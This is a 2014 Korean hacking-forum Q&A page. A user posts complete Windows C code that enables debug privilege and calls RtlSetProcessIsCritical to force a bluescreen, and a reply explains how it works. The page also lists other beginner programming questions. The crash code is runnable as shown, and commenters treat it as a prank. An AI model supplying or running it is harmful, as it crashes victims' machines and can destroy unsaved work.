프로그래밍

3206,

154/161

h@cking2013

블루스크린 소스

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=6450 [복사]

안녕하세요.
인터넷에서 블루스크린을 띄우는 소스를 우연히 발견하였습니다.

#include <windows.h>

typedef VOID ( _stdcall *RtlSetProcessIsCritical ) (
               IN BOOLEAN        NewValue,
               OUT PBOOLEAN OldValue,
               IN BOOLEAN      IsWinlogon );

BOOL EnablePriv(LPCSTR lpszPriv)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkprivs;
    ZeroMemory(&tkprivs, sizeof(tkprivs));

    if(!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &hToken))
        return FALSE;

    if(!LookupPrivilegeValue(NULL, lpszPriv, &luid)){
        CloseHandle(hToken); return FALSE;
    }

    tkprivs.PrivilegeCount = 1;
    tkprivs.Privileges[0].Luid = luid;
    tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &tkprivs, sizeof(tkprivs), NULL, NULL);
    CloseHandle(hToken);
    return bRet;
}

BOOL ProtectProcess()
{
   HANDLE hDLL;
   RtlSetProcessIsCritical fSetCritical;

   hDLL = LoadLibraryA("ntdll.dll");
   if ( hDLL != NULL )
   {
         EnablePriv(SE_DEBUG_NAME);
        (fSetCritical) = (RtlSetProcessIsCritical) GetProcAddress( (HINSTANCE)hDLL, "RtlSetProcessIsCritical" );
          if(!fSetCritical) return 0;
          fSetCritical(1,0,0);
    return 1;
   } else
          return 0;
}

int main (void)
{
ProtectProcess();
return 1;
}

어떤 원리인가요?

Hit : 6633 Date : 2014/03/23 03:12


MainThread	hDLL이라는 DLL파일을 통해 RtlSetProcessIsCritical함수를 얻어오고 있습니다. - RtlSetProcessIsCritical는 임계프로세스를 생성하기 위한 함수입니다. - 임계프로세스(Critical Process)는 종료되지 않는 즉, 블루스크린을 유발시키는 프로세스입니다. GetProcAddress에 대해 자세히 알고 싶으시다면 MSDN을 참고해 보세요 From MainThread	2014/05/24
h@cking2013	감사합니다!	2014/07/30
김병권	옛날에 어떤 분이 네이트온으로 블루스크린 화면에 띄워봐라고 하던데... 기억이 나네요. 좋은 정보 감사해요... ㅋㅋ	2015/02/01
김병권	6년은 된 거라도 기억이 나긴 납니다 ㅋㅋㅋㅋ	2015/02/01
somass	감사합니다	2022/09/16

146

0xffffffff가 무슨 뜻인가요??[1]

socks

03/02

6328

145

[포인터]C언어 질문[2]

박영민

03/12

3427

144

◆ 아이비씨벳.스보벳 슈퍼-시니어 마스터 직영점 ◆

popo123

03/14

3638

블루스크린 소스[5]

h@cking2013

03/23

6632

142

C언어 문제풀이중 궁금한게 생겼는데요[1]

호박

03/30

3357

141

C++ 질문이 있습니다.[1]

shdac

03/31

2912

140

C언어를 배워보려 하는데 visual studio 까는게 잘 안되네요[4]

우동

03/31

3762

139

c언어 처음으로 해보는데.. 오류가 1개 뜨네요.. 뭐가 틀린거죠?!?? ㅠ[2]

dpyeong

04/05

6276

138

getch함수 질문입니다.[4]

mystell

04/11

4789

137

파이썬 urllib모듈 질문있는데요

yuhioh8

04/21

3758

136

c++ 에러[1]

zx4564

05/06

3793

135

C언어 프로그래밍 도와주세요 ㅠㅠㅠ[2]

gxcolin

05/17

7359

134

디버깅 잘하시는 분들 부탁드립니다.

MainThread

05/19

3139

133

c# 배열선언 이렇게 하는 거 맞나요??

gksmf9315

05/20

3909

132

win 32 api 로 뮤직플레이어 만들기

khfs200

05/25

6036

131

(반복문)c언어 문자인지 숫자인지 확인 하는 거 어떻게 만드나요 ?[17]

stingygirl

06/02

23911

130

자바 질문입니다.ㅜㅜ

cherish_247

06/04

3368

129

2번쨰 프로그래밍 인데요 ㅠㅠ[1]

만든이

06/09

6771

128

C++ 프로그래밍 질문드립니다!![3]

호박

06/12

3120

127

코드블럭 한글깨짐 현상 도와주세요[1]

ifocean

06/12

7652

[1]..[151][152][153] 154 [155][156][157][158][159][160]..[161]